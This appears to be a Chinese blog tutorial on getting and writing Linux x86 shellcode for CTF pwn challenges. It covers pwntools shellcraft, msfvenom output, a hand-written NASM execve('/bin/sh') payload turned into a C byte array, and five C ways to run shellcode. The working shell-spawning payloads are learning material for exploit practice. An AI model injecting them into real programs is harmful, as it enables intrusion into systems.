AI智能
改变未来

shellcode学习-1

做pwn题难免要写shellcode,一般大多是用网上找的和用pwntools生成的,每次到比赛的时候显得慌忙脚乱的,现在系统的学习一下

获取集成好的

使用pwntools

pwntools手册
先设置目标机的参数
context(os=’linux’, arch=’amd64’’)

  1. os设置系统为linux系统,在完成ctf题目的时候,大多数pwn题目的系统都是linux
  2. arch设置架构为amd64,可以简单的认为设置为64位的模式,对应的32位模式是’i386’

如使用asm(shellcraft.sh())命令,可以获得执行system(“/bin/sh”)汇编代码所对应的shellcode

from pwn import*context(log_level = \'debug\', arch = \'i386\', os = \'linux\')shellcode=asm(shellcraft.sh())#输出#jhh///sh/bin\\x89\\xe3h\\x01\\x01\\x01\\x01\\x814$ri\\x01\\x011\\xc9Qj\\x04#Y\\x01\\xe1Q\\x89\\xe11\\xd2j\\x0bX\\xcd\\x80

msfvenon生成shellcode

命令

msfvenom -p linux/x86/exec CMD=/bin/sh -f python

$ msfvenom -p linux/x86/exec CMD=/bin/sh -f python[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload[-] No arch selected, selecting arch: x86 from the payloadNo encoder or badchars specified, outputting raw payloadPayload size: 43 bytesFinal size of python file: 222 bytesbuf =  \"\"buf += \"\\x6a\\x0b\\x58\\x99\\x52\\x66\\x68\\x2d\\x63\\x89\\xe7\\x68\\x2f\"buf += \"\\x73\\x68\\x00\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x52\\xe8\\x08\"buf += \"\\x00\\x00\\x00\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\\x00\\x57\\x53\"buf += \"\\x89\\xe1\\xcd\\x80\"

网上公开的shellcode 数据库

如Shellcodes database

自己生成

nasm&objdump

#a.asm#一个简单的shelljmp shrun:pop ebxxor eax,eaxmov BYTE  [ebx+7],almov al, 11xor ecx,ecxxor edx,edxint 0x80sh:call rundb \"/bin/sh\"
# root @ kali in ~ [22:12:03]$ nasm a.asm -o a.o -f elf 32    #编译$ objdump -d -M intel a.o     #查看汇编结果a.o:     file format elf32-i386Disassembly of section .text:00000000 <run-0x2>:0:	eb 0e                	jmp    10 <sh>00000002 <run>:2:	5b                   	pop    ebx3:	31 c0                	xor    eax,eax5:	88 43 07             	mov    BYTE PTR [ebx+0x7],al8:	b0 0b                	mov    al,0xba:	31 c9                	xor    ecx,ecxc:	31 d2                	xor    edx,edxe:	cd 80                	int    0x8000000010 <sh>:10:	e8 ed ff ff ff       	call   2 <run>15:	2f                   	das16:	62 69 6e             	bound  ebp,QWORD PTR [ecx+0x6e]19:	2f                   	das1a:	73 68                	jae    84 <sh+0x74>

objcopy -O binary a.o code

只将我们自己想要的的代码(即不包含文件头什么的(也就是只要我们自己写的shellcode)拷贝到code里

# root @ kali in ~ [22:13:06] C:1$ objcopy -O binary a.o code  #只将我们自己的代码拷贝到code里# root @ kali in ~ [22:13:17]$ cat code                  #因为是二进制原始数据,所以直接cat 会有一些字符为乱码�[1��C�1�1�̀�����/bin/sh## root @ kali in ~ [22:13:11]

使用xxd -i命令可以生成C语言形式的shellcode

$ xxd -i code        #可以直接拷贝到C语言程序里使用unsigned char code[] = {0xeb, 0x0e, 0x5b, 0x31, 0xc0, 0x88, 0x43, 0x07, 0xb0, 0x0b, 0x31, 0xc9,0x31, 0xd2, 0xcd, 0x80, 0xe8, 0xed, 0xff, 0xff, 0xff, 0x2f, 0x62, 0x69,0x6e, 0x2f, 0x73, 0x68};unsigned int code_len = 28;

C语言执行汇编代码的五种方式

typedef void (__stdcall *CODE) ();//第一种((CODE)code)();//第二种方法((void(*)(void))&shellcode)();//第三种方法__asm{lea eax, shellcode;jmp eax;}//第四种方法__asm{mov eax, offset shellcode;jmp eax;}//第五种方法__asm{mov eax, offset shellcode;_emit 0xFF;_emit 0xE0;}

测试一下

//test2.c#include\"code.h\"int main(){((void(*)(void))&code)();}

先将上面得到的shellcode写到code.h文件里

//code.hunsigned char code[] = {0xeb, 0x0e, 0x5b, 0x31, 0xc0, 0x88, 0x43, 0x07, 0xb0, 0x0b, 0x31, 0xc9,0x31, 0xd2, 0xcd, 0x80, 0xe8, 0xed, 0xff, 0xff, 0xff, 0x2f, 0x62, 0x69,0x6e, 0x2f, 0x73, 0x68};
xxd -i code > code.hgcc test2.c -o test2 -m32 -zexecstack

执行

Reference

PWN-shellcode获取与编写
C语言执行shellcode的五种方法

赞(0) 打赏
未经允许不得转载:爱站程序员基地 » shellcode学习-1